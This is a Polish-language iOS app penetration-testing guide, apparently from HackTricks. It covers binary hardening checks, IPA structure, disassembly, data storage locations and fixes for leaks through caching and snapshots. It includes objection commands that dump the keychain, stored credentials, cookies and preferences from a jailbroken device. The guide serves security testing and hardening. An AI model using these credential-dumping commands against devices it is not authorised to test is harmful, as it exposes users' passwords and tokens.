iOS Pentesting

Użyj Trickest, aby łatwo budować i automatyzować przepływy pracy z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie. Otrzymaj dostęp już dziś:

Zacznij od zera i zostań mistrzem hakowania AWS dzięki htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawy iOS

pageiOS Basics

Środowisko testowe

Na tej stronie znajdziesz informacje na temat symulatora iOS, emulatorów i jailbreakingu:

pageiOS Testing Environment

Analiza początkowa

Podstawowe operacje testowania iOS

Podczas testowania zostaną zaproponowane kilka operacji (połączenie z urządzeniem, odczyt/zapis/przesyłanie/pobieranie plików, korzystanie z niektórych narzędzi...). Dlatego jeśli nie wiesz, jak wykonać którekolwiek z tych działań, proszę, zacznij od przeczytania strony:

pageiOS Basic Testing Operations

Dla kolejnych kroków aplikacja powinna być zainstalowana na urządzeniu i należy już posiadać plik IPA aplikacji. Przeczytaj stronę Podstawowe operacje testowania iOS, aby dowiedzieć się, jak to zrobić.

Podstawowa analiza statyczna

Zaleca się użycie narzędzia MobSF do przeprowadzenia automatycznej analizy statycznej pliku IPA.

Identyfikacja zabezpieczeń obecnych w binarnym pliku:

  • PIE (Position Independent Executable): Gdy jest włączony, aplikacja ładuje się pod losowy adres pamięci za każdym razem, gdy jest uruchamiana, co sprawia, że trudniej jest przewidzieć jej początkowy adres pamięci.

otool -hv <app-binary> | grep PIE   # Powinno zawierać flagę PIE
  • Stack Canaries: Do sprawdzenia integralności stosu, wartość „kanarka” jest umieszczana na stosie przed wywołaniem funkcji i ponownie sprawdzana po zakończeniu funkcji.

otool -I -v <app-binary> | grep stack_chk   # Powinno zawierać symbole: stack_chk_guard i stack_chk_fail
  • ARC (Automatic Reference Counting): Do zapobiegania powszechnym błędom korupcji pamięci

otool -I -v <app-binary> | grep objc_release   # Powinno zawierać symbol _objc_release
  • Zaszyfrowany binarny plik: Binarny plik powinien być zaszyfrowany

otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT   # Wartość cryptid powinna wynosić 1

Identyfikacja funkcji wrażliwych/niebezpiecznych

  • Słabe algorytmy haszujące

# Na urządzeniu iOS
otool -Iv <app> | grep -w "_CC_MD5"
otool -Iv <app> | grep -w "_CC_SHA1"

# Na systemie Linux
grep -iER "_CC_MD5"
grep -iER "_CC_SHA1"
  • Niebezpieczne funkcje losujące

# Na urządzeniu iOS
otool -Iv <app> | grep -w "_random"
otool -Iv <app> | grep -w "_srand"
otool -Iv <app> | grep -w "_rand"

# Na systemie Linux
grep -iER "_random"
grep -iER "_srand"
grep -iER "_rand"
  • Niebezpieczna funkcja „Malloc”

# Na urządzeniu iOS
otool -Iv <app> | grep -w "_malloc"

# Na systemie Linux
grep -iER "_malloc"
  • Niebezpieczne i podatne funkcje

# Na urządzeniu iOS
otool -Iv <app> | grep -w "_gets"
otool -Iv <app> | grep -w "_memcpy"
otool -Iv <app> | grep -w "_strncpy"
otool -Iv <app> | grep -w "_strlen"
otool -Iv <app> | grep -w "_vsnprintf"
otool -Iv <app> | grep -w "_sscanf"
otool -Iv <app> | grep -w "_strtok"
otool -Iv <app> | grep -w "_alloca"
otool -Iv <app> | grep -w "_sprintf"
otool -Iv <app> | grep -w "_printf"
otool -Iv <app> | grep -w "_vsprintf"

# Na systemie Linux
grep -R "_gets"
grep -iER "_memcpy"
grep -iER "_strncpy"
grep -iER "_strlen"
grep -iER "_vsnprintf"
grep -iER "_sscanf"
grep -iER "_strtok"
grep -iER "_alloca"
grep -iER "_sprintf"
grep -iER "_printf"
grep -iER "_vsprintf"

Podstawowa analiza dynamiczna

Sprawdź analizę dynamiczną, którą wykonuje MobSF. Będziesz musiał poruszać się po różnych widokach i wchodzić w interakcje z nimi, ale narzędzie to będzie podłączać się do kilku klas, wykonywać inne czynności i przygotuje raport po zakończeniu.

Lista zainstalowanych aplikacji

Użyj polecenia frida-ps -Uai, aby określić identyfikator pakietu zainstalowanych aplikacji:

$ frida-ps -Uai
PID  Name                 Identifier
----  -------------------  -----------------------------------------
6847  Calendar             com.apple.mobilecal
6815  Mail                 com.apple.mobilemail
-  App Store            com.apple.AppStore
-  Apple Store          com.apple.store.Jolly
-  Calculator           com.apple.calculator
-  Camera               com.apple.camera
-  iGoat-Swift          OWASP.iGoat-Swift

Podstawowe wyliczanie i hookowanie

Dowiedz się, jak wyliczyć składniki aplikacji i jak łatwo hookować metody i klasy za pomocą narzędzia objection:

pageiOS Hooking With Objection

Struktura pliku IPA

Struktura pliku IPA jest w zasadzie strukturą spakowanego pakietu. Zmieniając jego rozszerzenie na .zip, można go rozpakować, aby ujawnić jego zawartość. W tej strukturze Bundle reprezentuje w pełni spakowaną aplikację gotową do instalacji. Wewnątrz znajdziesz katalog o nazwie <NAME>.app, który zawiera zasoby aplikacji.

  • Info.plist: Ten plik przechowuje konkretne szczegóły konfiguracji aplikacji.

  • _CodeSignature/: Ten katalog zawiera plik plist, który zawiera sygnaturę, zapewniając integralność wszystkich plików w pakiecie.

  • Assets.car: Skompresowane archiwum przechowujące pliki zasobów, takie jak ikony.

  • Frameworks/: Ten folder zawiera biblioteki natywne aplikacji, które mogą przyjmować postać plików .dylib lub .framework.

  • PlugIns/: Może zawierać rozszerzenia aplikacji, znane jako pliki .appex, chociaż nie zawsze są obecne.

  • Core Data: Służy do zapisywania trwałych danych aplikacji do użytku offline, do buforowania danych tymczasowych i dodawania funkcji cofania w aplikacji na jednym urządzeniu. Aby zsynchronizować dane na wielu urządzeniach w jednym koncie iCloud, Core Data automatycznie odbija schemat w kontenerze CloudKit.

  • PkgInfo: Plik PkgInfo to alternatywny sposób określenia kodów typu i twórcy twojej aplikacji lub pakietu.

  • en.lproj, fr.proj, Base.lproj: To pakiety językowe zawierające zasoby dla tych konkretnych języków oraz domyślny zasób w przypadku braku obsługi danego języka.

  • Bezpieczeństwo: Katalog _CodeSignature/ odgrywa kluczową rolę w bezpieczeństwie aplikacji, weryfikując integralność wszystkich spakowanych plików za pomocą podpisów cyfrowych.

  • Zarządzanie zasobami: Plik Assets.car wykorzystuje kompresję do efektywnego zarządzania zasobami graficznymi, co jest kluczowe dla optymalizacji wydajności aplikacji i zmniejszenia jej całkowitego rozmiaru.

  • Frameworks i PlugIns: Te katalogi podkreślają modularność aplikacji iOS, pozwalając programistom na dołączanie bibliotek kodu do ponownego użycia (Frameworks/) oraz rozszerzanie funkcjonalności aplikacji (PlugIns/).

  • Lokalizacja: Struktura wspiera wiele języków, ułatwiając globalne dotarcie aplikacji poprzez dołączenie zasobów dla konkretnych pakietów językowych.

Info.plist

Info.plist pełni rolę kamienia węgielnego dla aplikacji iOS, zawierając kluczowe dane konfiguracyjne w postaci par klucz-wartość. Ten plik jest niezbędny nie tylko dla aplikacji, ale także dla rozszerzeń aplikacji i bibliotek dołączonych w pakiecie. Jest on strukturyzowany w formacie XML lub binarnym i zawiera istotne informacje od uprawnień aplikacji po konfiguracje zabezpieczeń. Aby dokładniej zbadać dostępne klucze, można odwołać się do Dokumentacji deweloperskiej Apple.

Dla osób chcących pracować z tym plikiem w bardziej dostępnym formacie, konwersję XML można łatwo osiągnąć za pomocą plutil na macOS (dostępny domyślnie w wersjach 10.2 i nowszych) lub plistutil na Linuxie. Polecenia konwersji wyglądają następująco:

  • Dla macOS:

$ plutil -convert xml1 Info.plist
  • Dla systemu Linux:

$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist

Wśród licznych informacji, które plik Info.plist może ujawnić, godne uwagi wpisy obejmują ciągi uprawnień aplikacji (UsageDescription), niestandardowe schematy URL (CFBundleURLTypes) oraz konfiguracje dotyczące bezpieczeństwa transportu aplikacji (NSAppTransportSecurity). Te wpisy, wraz z innymi, takimi jak eksportowane/importowane niestandardowe typy dokumentów (UTExportedTypeDeclarations / UTImportedTypeDeclarations), można łatwo zlokalizować, sprawdzając plik lub korzystając z prostego polecenia grep:

$ grep -i <keyword> Info.plist

Ścieżki danych

W środowisku iOS katalogi są przeznaczone specjalnie dla aplikacji systemowych i aplikacji zainstalowanych przez użytkownika. Aplikacje systemowe znajdują się w katalogu /Applications, podczas gdy aplikacje zainstalowane przez użytkownika umieszczone są w /var/mobile/containers/Data/Application/. Te aplikacje są przypisane unikalny identyfikator znany jako 128-bitowy UUID, co sprawia, że ręczne zlokalizowanie folderu aplikacji jest trudne ze względu na losowość nazw katalogów.

Ponieważ aplikacje w iOS muszą być zabezpieczone w piaskownicy, każda aplikacja będzie miała również folder wewnątrz $HOME/Library/Containers o nazwie folderu aplikacji CFBundleIdentifier.

Jednak oba foldery (foldery danych i kontenerowe) zawierają plik .com.apple.mobile_container_manager.metadata.plist, który łączy oba pliki w kluczu MCMetadataIdentifier).

Aby ułatwić odkrywanie katalogu instalacyjnego aplikacji zainstalowanej przez użytkownika, narzędzie objection udostępnia przydatne polecenie env. To polecenie ujawnia szczegółowe informacje o katalogu dla danej aplikacji. Poniżej znajduje się przykład użycia tego polecenia:

OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env

Name               Path
-----------------  -------------------------------------------------------------------------------------------
BundlePath         /var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app
CachesDirectory    /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library/Caches
DocumentDirectory  /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
LibraryDirectory   /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library

Alternatywnie nazwę aplikacji można wyszukać w /private/var/containers za pomocą polecenia find:

find /private/var/containers -name "Progname*"

Polecenia takie jak ps i lsof mogą również być wykorzystane do zidentyfikowania procesu aplikacji i wylistowania otwartych plików, odpowiednio, dostarczając wglądu w ścieżki aktywnego katalogu aplikacji:

ps -ef | grep -i <app-name>
lsof -p <pid> | grep -i "/containers" | head -n 1

Katalog pakietu:

  • NazwaAplikacji.app

  • To jest Pakiet Aplikacji, jak widziano wcześniej w pliku IPA, zawiera podstawowe dane aplikacji, statyczną zawartość oraz skompilowany plik binarny aplikacji.

  • Ten katalog jest widoczny dla użytkowników, ale użytkownicy nie mogą w nim zapisywać.

  • Zawartość tego katalogu nie jest tworzona kopii zapasowej.

  • Zawartość tego folderu jest używana do weryfikacji podpisu kodu.

Katalog danych:

  • Dokumenty/

  • Zawiera wszystkie dane generowane przez użytkownika. Twórca aplikacji inicjuje tworzenie tych danych.

  • Widoczne dla użytkowników i użytkownicy mogą w nim zapisywać.

  • Zawartość tego katalogu jest tworzona kopii zapasowej.

  • Aplikacja może wyłączyć ścieżki, ustawiając NSURLIsExcludedFromBackupKey.

  • Biblioteka/

  • Zawiera wszystkie pliki, które nie są specyficzne dla użytkownika, takie jak pamięć podręczna, preferencje, ciasteczka oraz pliki konfiguracyjne listy właściwości (plist).

  • Aplikacje iOS zazwyczaj korzystają z podkatalogów Application Support i Caches, ale aplikacja może tworzyć niestandardowe podkatalogi.

  • Biblioteka/Caches/

  • Zawiera pliki pamięci podręcznej półtrwałej.

  • Niewidoczne dla użytkowników i użytkownicy nie mogą w nim zapisywać.

  • Zawartość tego katalogu nie jest tworzona kopii zapasowej.

  • System operacyjny może automatycznie usuwać pliki z tego katalogu, gdy aplikacja nie jest uruchomiona, a miejsce na dysku jest ograniczone.

  • Biblioteka/Application Support/

  • Zawiera pliki trwałe niezbędne do działania aplikacji.

  • Niewidoczne dla użytkowników i użytkownicy nie mogą w nim zapisywać.

  • Zawartość tego katalogu jest tworzona kopii zapasowej.

  • Aplikacja może wyłączyć ścieżki, ustawiając NSURLIsExcludedFromBackupKey.

  • Biblioteka/Preferences/

  • Służy do przechowywania właściwości, które mogą utrzymywać się nawet po ponownym uruchomieniu aplikacji.

  • Informacje są zapisywane w postaci niezaszyfrowanej w piaskownicy aplikacji w pliku plist o nazwie [BUNDLE_ID].plist.

  • Wszystkie pary klucz/wartość przechowywane za pomocą NSUserDefaults można znaleźć w tym pliku.

  • tmp/

  • Użyj tego katalogu do zapisywania plików tymczasowych, które nie muszą przetrwać między uruchomieniami aplikacji.

  • Zawiera pliki pamięci podręcznej niepamiętającej.

  • Niewidoczne dla użytkowników.

  • Zawartość tego katalogu nie jest tworzona kopii zapasowej.

  • System operacyjny może automatycznie usuwać pliki z tego katalogu, gdy aplikacja nie jest uruchomiona, a miejsce na dysku jest ograniczone.

Przyjrzyjmy się bliżej katalogowi Pakietu Aplikacji (.app) iGoat-Swift znajdującemu się w katalogu Bundle (/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app):

OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType      Perms  NSFileProtection    ...  Name
------------  -------  ------------------  ...  --------------------------------------
Regular           420  None                ...  rutger.html
Regular           420  None                ...  mansi.html
Regular           420  None                ...  splash.html
Regular           420  None                ...  about.html

Regular           420  None                ...  LICENSE.txt
Regular           420  None                ...  Sentinel.txt
Regular           420  None                ...  README.txt

Odwracanie binarne

Wewnątrz folderu <application-name>.app znajdziesz plik binarny o nazwie <application-name>. To jest plik, który zostanie wykonany. Możesz przeprowadzić podstawową inspekcję binarnego pliku za pomocą narzędzia otool:

otool -Vh DVIA-v2 #Check some compilation attributes
magic  cputype cpusubtype  caps    filetype ncmds sizeofcmds      flags
MH_MAGIC_64    ARM64        ALL  0x00     EXECUTE    65       7112   NOUNDEFS DYLDLINK TWOLEVEL WEAK_DEFINES BINDS_TO_WEAK PIE

otool -L DVIA-v2 #Get third party libraries
DVIA-v2:
/usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 400.9.1)
/usr/lib/libsqlite3.dylib (compatibility version 9.0.0, current version 274.6.0)
/usr/lib/libz.1.dylib (compatibility version 1.0.0, current version 1.2.11)
@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0)
[...]

Sprawdź, czy aplikacja jest zaszyfrowana

Sprawdź, czy istnieje jakiekolwiek wyjście dla:

otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO

Rozkładanie binarnego pliku

Rozkładaj sekcję tekstową:

otool -tV DVIA-v2
DVIA-v2:
(__TEXT,__text) section
+[DDLog initialize]:
0000000100004ab8    sub    sp, sp, #0x60
0000000100004abc    stp    x29, x30, [sp, #0x50]   ; Latency: 6
0000000100004ac0    add    x29, sp, #0x50
0000000100004ac4    sub    x8, x29, #0x10
0000000100004ac8    mov    x9, #0x0
0000000100004acc    adrp    x10, 1098 ; 0x10044e000
0000000100004ad0    add    x10, x10, #0x268

Aby wydrukować segment Objective-C przykładowej aplikacji, można użyć:

otool -oV DVIA-v2
DVIA-v2:
Contents of (__DATA,__objc_classlist) section
00000001003dd5b8 0x1004423d0 _OBJC_CLASS_$_DDLog
isa        0x1004423a8 _OBJC_METACLASS_$_DDLog
superclass 0x0 _OBJC_CLASS_$_NSObject
cache      0x0 __objc_empty_cache
vtable     0x0
data       0x1003de748
flags          0x80
instanceStart  8

Aby uzyskać bardziej zwięzły kod Objective-C, można użyć class-dump:

class-dump some-app
//
//     Generated by class-dump 3.5 (64 bit).
//
//     class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
//

#pragma mark Named Structures

struct CGPoint {
double _field1;
double _field2;
};

struct CGRect {
struct CGPoint _field1;
struct CGSize _field2;
};

struct CGSize {
double _field1;
double _field2;
};

Jednak najlepsze opcje do rozłożenia binarnego to: Hopper i IDA.

Użyj Trickest, aby łatwo tworzyć i automatyzować przepływy pracy zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie. Otrzymaj dostęp już dziś:

Przechowywanie danych

Aby dowiedzieć się, jak iOS przechowuje dane w urządzeniu, przeczytaj tę stronę:

pageiOS Basics

Następujące miejsca do przechowywania informacji powinny być sprawdzone tuż po zainstalowaniu aplikacji, po sprawdzeniu wszystkich funkcji aplikacji, a nawet po wylogowaniu się z jednego użytkownika i zalogowaniu się na innego. Celem jest znalezienie niezabezpieczonych wrażliwych informacji aplikacji (hasła, tokeny), bieżącego użytkownika i wcześniej zalogowanych użytkowników.

Plist

Pliki plist to strukturalne pliki XML zawierające pary klucz-wartość. Jest to sposób przechowywania danych trwałych, dlatego czasami można w nich znaleźć wrażliwe informacje. Zaleca się sprawdzenie tych plików po zainstalowaniu aplikacji i po intensywnym jej użyciu, aby sprawdzić, czy zapisano nowe dane.

Najczęstszym sposobem przechowywania danych w plikach plist jest korzystanie z NSUserDefaults. Ten plik plist jest zapisywany wewnątrz piaskownicy aplikacji w Library/Preferences/<appBundleID>.plist

Klasa NSUserDefaults zapewnia interfejs programistyczny do interakcji z systemem domyślnym. System domyślny pozwala aplikacji dostosować swoje zachowanie zgodnie z preferencjami użytkownika. Dane zapisane przez NSUserDefaults można zobaczyć w pakiecie aplikacji. Ta klasa przechowuje dane w pliku plist, ale jest przeznaczona do użytku z małymi ilościami danych.

Te dane nie mogą być bezpośrednio dostępne za pomocą zaufanego komputera, ale można uzyskać do nich dostęp wykonując backup.

Możesz wydobyć informacje zapisane za pomocą NSUserDefaults za pomocą ios nsuserdefaults get z objection.

Aby znaleźć wszystkie pliki plist używane przez aplikację, możesz uzyskać dostęp do /private/var/mobile/Containers/Data/Application/{APPID} i uruchomić:

find ./ -name "*.plist"

Aby przekonwertować pliki z formatu XML lub binarnego (bplist) na XML, dostępne są różne metody w zależności od systemu operacyjnego:

Dla użytkowników macOS: Skorzystaj z polecenia plutil. Jest to wbudowane narzędzie w macOS (10.2+), zaprojektowane do tego celu:

$ plutil -convert xml1 Info.plist

Dla użytkowników Linuxa: Najpierw zainstaluj libplist-utils, a następnie użyj plistutil, aby przekonwertować swój plik:

$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist

W trakcie sesji Objection: Do analizy aplikacji mobilnych, konkretna komenda pozwala na bezpośrednie konwertowanie plików plist:

ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>/Library/Preferences/com.some.package.app.plist

Core Data

Core Data to framework do zarządzania warstwą modelu obiektów w Twojej aplikacji. Core Data może używać SQLite jako swojego trwałego magazynu, ale sam framework nie jest bazą danych. CoreData domyślnie nie szyfruje swoich danych. Jednak dodatkowa warstwa szyfrowania może zostać dodana do CoreData. Zobacz Repozytorium na GitHubie po więcej szczegółów.

Informacje o SQLite Core Data aplikacji znajdziesz w ścieżce /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support

Jeśli możesz otworzyć SQLite i uzyskać dostęp do wrażliwych informacji, to znalazłeś błąd konfiguracji.

Kod z iGoat
-(void)storeDetails {
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);

NSManagedObjectContext *context =[appDelegate managedObjectContext];

User *user = [self fetchUser];
if (user) {
return;
}
user = [NSEntityDescription insertNewObjectForEntityForName:@"User"
inManagedObjectContext:context];
user.email = CoreDataEmail;
user.password = CoreDataPassword;
NSError *error;
if (![context save:&error]) {
NSLog(@"Error in saving data: %@", [error localizedDescription]);

}else{
NSLog(@"data stored in core data");
}
}

YapDatabase

YapDatabase to magazyn typu klucz/wartość zbudowany na bazie SQLite. Ponieważ bazy danych Yap to bazy danych sqlite, można je znaleźć, korzystając z polecenia zaproponowanego w poprzednim rozdziale.

Inne bazy danych SQLite

Jest powszechne, że aplikacje tworzą swoje własne bazy danych sqlite. Mogą one przechowywać na nich wrażliwe dane i pozostawiać je niezaszyfrowane. Dlatego zawsze warto sprawdzić każdą bazę danych w katalogu aplikacji. Przejdź do katalogu aplikacji, gdzie dane są zapisywane (/private/var/mobile/Containers/Data/Application/{APPID}).

find ./ -name "*.sqlite" -or -name "*.db"

Bazy danych Firebase Real-Time

Deweloperzy mają możliwość przechowywania i synchronizacji danych w bazie danych hostowanej w chmurze NoSQL za pośrednictwem Firebase Real-Time Databases. Dane przechowywane są w formacie JSON, a dane są synchronizowane z wszystkimi podłączonymi klientami w czasie rzeczywistym.

Możesz dowiedzieć się, jak sprawdzić błędnie skonfigurowane bazy danych Firebase tutaj:

pageFirebase Database

Bazy danych Realm

Realm Objective-C i Realm Swift oferują potężną alternatywę dla przechowywania danych, niedostępną w ofercie Apple. Domyślnie przechowują dane w formie niezaszyfrowanej, z możliwością szyfrowania poprzez określoną konfigurację.

Bazy danych znajdują się pod ścieżką: /private/var/mobile/Containers/Data/Application/{APPID}. Aby zbadać te pliki, można skorzystać z poleceń takich jak:

iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
default.realm  default.realm.lock  default.realm.management/  default.realm.note|

$ find ./ -name "*.realm*"

Do przeglądania tych plików bazy danych zaleca się narzędzie Realm Studio.

Aby zaimplementować szyfrowanie w bazie danych Realm, można użyć następującego fragmentu kodu:

// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
let config = Realm.Configuration(encryptionKey: getKey())
do {
let realm = try Realm(configuration: config)
// Use the Realm as normal
} catch let error as NSError {
// If the encryption key is wrong, `error` will say that it's an invalid database
fatalError("Error opening realm: \(error)")
}

Bazy danych Couchbase Lite

Couchbase Lite jest opisany jako silnik bazy danych lekki i wbudowany, który stosuje podejście zorientowane na dokumenty (NoSQL). Zaprojektowany, aby być natywny dla iOS i macOS, oferuje możliwość synchronizacji danych bezproblemowo.

Aby zidentyfikować potencjalne bazy danych Couchbase na urządzeniu, należy sprawdzić następujący katalog:

ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/

Ciasteczka

iOS przechowuje ciasteczka aplikacji w Library/Cookies/cookies.binarycookies wewnątrz folderu każdej aplikacji. Jednak deweloperzy czasami decydują się zapisać je w keychain, ponieważ wspomniany plik cookie może być dostępny w kopii zapasowej.

Aby przejrzeć plik ciasteczek, można skorzystać z tego skryptu w języku Python lub użyć polecenia ios cookies get z narzędzia objection. Można również użyć narzędzia objection do konwersji tych plików na format JSON i przejrzenia danych.

...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
[
{
"domain": "highaltitudehacks.com",
"expiresDate": "2051-09-15 07:46:43 +0000",
"isHTTPOnly": "false",
"isSecure": "false",
"name": "username",
"path": "/",
"value": "admin123",
"version": "0"
}
]

Pamięć podręczna

Domyślnie NSURLSession przechowuje dane, takie jak żądania i odpowiedzi HTTP w bazie danych Cache.db. Ta baza danych może zawierać dane wrażliwe, jeśli tokeny, nazwy użytkowników lub inne informacje wrażliwe zostały zapisane w pamięci podręcznej. Aby znaleźć zapisane informacje, otwórz katalog danych aplikacji (/var/mobile/Containers/Data/Application/<UUID>) i przejdź do /Library/Caches/<Bundle Identifier>. Pamięć podręczna WebKit jest również przechowywana w pliku Cache.db. Objection może otworzyć i komunikować się z bazą danych za pomocą polecenia sqlite connect Cache.db, ponieważ jest to zwykła baza danych SQLite.

Zaleca się wyłączenie pamięci podręcznej dla tych danych, ponieważ może zawierać informacje wrażliwe w żądaniu lub odpowiedzi. Poniżej przedstawiono różne sposoby osiągnięcia tego:

  1. Zaleca się usunięcie zapisanych odpowiedzi po wylogowaniu. Można to zrobić za pomocą udostępnionej metody Apple o nazwie removeAllCachedResponses. Można wywołać tę metodę w następujący sposób:

URLCache.shared.removeAllCachedResponses()

Ta metoda usunie wszystkie zapisane żądania i odpowiedzi z pliku Cache.db. 2. Jeśli nie potrzebujesz korzystać z plików cookie, zaleca się po prostu użycie właściwości konfiguracji .ephemeral URLSession, która wyłączy zapisywanie plików cookie i pamięci podręcznej.

Dokumentacja Apple:

Obiekt konfiguracji sesji efemerycznej jest podobny do domyślnej konfiguracji sesji (patrz domyślna), z tym wyjątkiem, że odpowiadający obiekt sesji nie przechowuje pamięci podręcznej, magazynów poświadczeń ani żadnych danych związanych z sesją na dysku. Zamiast tego dane związane z sesją są przechowywane w pamięci RAM. Jedynym momentem, kiedy sesja efemeryczna zapisuje dane na dysku, jest wtedy, gdy mówisz jej, aby zapisała zawartość adresu URL do pliku. 3. Pamięć podręczna może być również wyłączona poprzez ustawienie polityki pamięci podręcznej na .notAllowed. Wyłączy to przechowywanie pamięci podręcznej w dowolny sposób, zarówno w pamięci, jak i na dysku.

Zrzuty ekranu

Za każdym razem, gdy naciśniesz przycisk domowy, iOS robi zrzut ekranu bieżącego ekranu, aby umożliwić płynne przejście do aplikacji. Jednakże, jeśli dane wrażliwe znajdują się na bieżącym ekranie, zostaną zapisane w obrazie (który utrzymuje się po ponownym uruchomieniu). Są to zrzuty ekranu, do których można również uzyskać dostęp, podwójnie stukając ekran główny, aby przełączać się między aplikacjami.

Chyba że iPhone jest złamany, atakujący musi mieć dostęp do odblokowanego urządzenia, aby zobaczyć te zrzuty ekranu. Domyślnie ostatni zrzut ekranu jest przechowywany w piaskownicy aplikacji w katalogu Library/Caches/Snapshots/ lub Library/SplashBoard/Snapshots (zaufane komputery nie mogą uzyskać dostępu do systemu plików od wersji iOS 7.0).

Jednym ze sposobów zapobieżenia temu złemu zachowaniu jest umieszczenie pustego ekranu lub usunięcie danych wrażliwych przed zrobieniem zrzutu ekranu za pomocą funkcji ApplicationDidEnterBackground().

Poniżej znajduje się przykładowa metoda naprawcza, która ustawia domyślny zrzut ekranu.

Swift:

private var backgroundImage: UIImageView?

func applicationDidEnterBackground(_ application: UIApplication) {
let myBanner = UIImageView(image: #imageLiteral(resourceName: "overlayImage"))
myBanner.frame = UIScreen.main.bounds
backgroundImage = myBanner
window?.addSubview(myBanner)
}

func applicationWillEnterForeground(_ application: UIApplication) {
backgroundImage?.removeFromSuperview()
}

Objective-C: Objective-C:

@property (UIImageView *)backgroundImage;

- (void)applicationDidEnterBackground:(UIApplication *)application {
UIImageView *myBanner = [[UIImageView alloc] initWithImage:@"overlayImage.png"];
self.backgroundImage = myBanner;
self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
[self.window addSubview:myBanner];
}

- (void)applicationWillEnterForeground:(UIApplication *)application {
[self.backgroundImage removeFromSuperview];
}

To ustawia obraz tła na overlayImage.png za każdym razem, gdy aplikacja jest w tle. Zapobiega to wyciekom wrażliwych danych, ponieważ overlayImage.png zawsze będzie nadpisywać bieżący widok.

Keychain

Do dostępu i zarządzania keychainem iOS dostępne są narzędzia takie jak Keychain-Dumper, odpowiednie dla urządzeń z jailbreakiem. Dodatkowo Objection udostępnia polecenie ios keychain dump do podobnych celów.

Przechowywanie Poświadczeń

Klasa NSURLCredential jest idealna do przechowywania wrażliwych informacji bezpośrednio w keychainie, omijając konieczność korzystania z NSUserDefaults lub innych opakowań. Aby przechowywać poświadczenia po zalogowaniu, używany jest następujący kod w języku Swift:

NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];

Aby wydobyć te przechowywane poświadczenia, używane jest polecenie Objection ios nsurlcredentialstorage dump.

Niestandardowe klawiatury i pamięć podręczna klawiatury

Od wersji iOS 8.0 użytkownicy mogą instalować rozszerzenia niestandardowych klawiatur, które można zarządzać w Ustawienia > Ogólne > Klawiatura > Klawiatury. Chociaż te klawiatury oferują rozszerzoną funkcjonalność, stanowią ryzyko rejestrowania klawiszy i przesyłania danych do zewnętrznych serwerów, chociaż użytkownicy są informowani o klawiaturach wymagających dostępu do sieci. Aplikacje mogą i powinny ograniczać korzystanie z niestandardowych klawiatur do wprowadzania informacji poufnych.

Zalecenia dotyczące bezpieczeństwa:

  • Zaleca się wyłączenie klawiatur stron trzecich dla zwiększonego bezpieczeństwa.

  • Należy uważać na funkcje autokorekty i automatycznych sugestii domyślnej klawiatury iOS, które mogą przechowywać poufne informacje w plikach pamięci podręcznej znajdujących się w Library/Keyboard/{locale}-dynamic-text.dat lub /private/var/mobile/Library/Keyboard/dynamic-text.dat. Te pliki pamięci podręcznej powinny być regularnie sprawdzane pod kątem poufnych danych. Zaleca się resetowanie słownika klawiatury za pomocą Ustawienia > Ogólne > Resetuj > Resetuj słownik klawiatury w celu wyczyszczenia danych pamięci podręcznej.

  • Przechwycenie ruchu sieciowego może ujawnić, czy niestandardowa klawiatura przesyła klawisze zdalnie.

Zapobieganie buforowaniu pól tekstowych

Protokół UITextInputTraits oferuje właściwości do zarządzania autokorektą i wprowadzaniem tekstu zabezpieczonego, co jest istotne dla zapobiegania buforowaniu informacji poufnych. Na przykład wyłączenie autokorekty i włączenie wprowadzania tekstu zabezpieczonego można osiągnąć za pomocą:

textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES;

Dodatkowo, programiści powinni upewnić się, że pola tekstowe, zwłaszcza te służące do wprowadzania wrażliwych informacji, takich jak hasła i PIN-y, wyłączają buforowanie, ustawiając autocorrectionType na UITextAutocorrectionTypeNo oraz secureTextEntry na YES.

UITextField *textField = [[UITextField alloc] initWithFrame:frame];
textField.autocorrectionType = UITextAutocorrectionTypeNo;

Dzienniki

Debugowanie kodu często wymaga użycia logowania. Istnieje ryzyko, ponieważ dzienniki mogą zawierać poufne informacje. Wcześniej, w systemie iOS 6 i wcześniejszych wersjach, dzienniki były dostępne dla wszystkich aplikacji, co stwarzało ryzyko wycieku poufnych danych. Obecnie aplikacje mają ograniczony dostęp tylko do swoich dzienników.

Mimo tych ograniczeń, atakujący mający fizyczny dostęp do odblokowanego urządzenia nadal może wykorzystać to, podłączając urządzenie do komputera i czytając dzienniki. Warto zauważyć, że dzienniki pozostają na dysku nawet po odinstalowaniu aplikacji.

Aby zmniejszyć ryzyko, zaleca się dokładne interakcje z aplikacją, eksplorując wszystkie jej funkcjonalności i dane wejściowe, aby upewnić się, że nie są nieumyślnie rejestrowane poufne informacje.

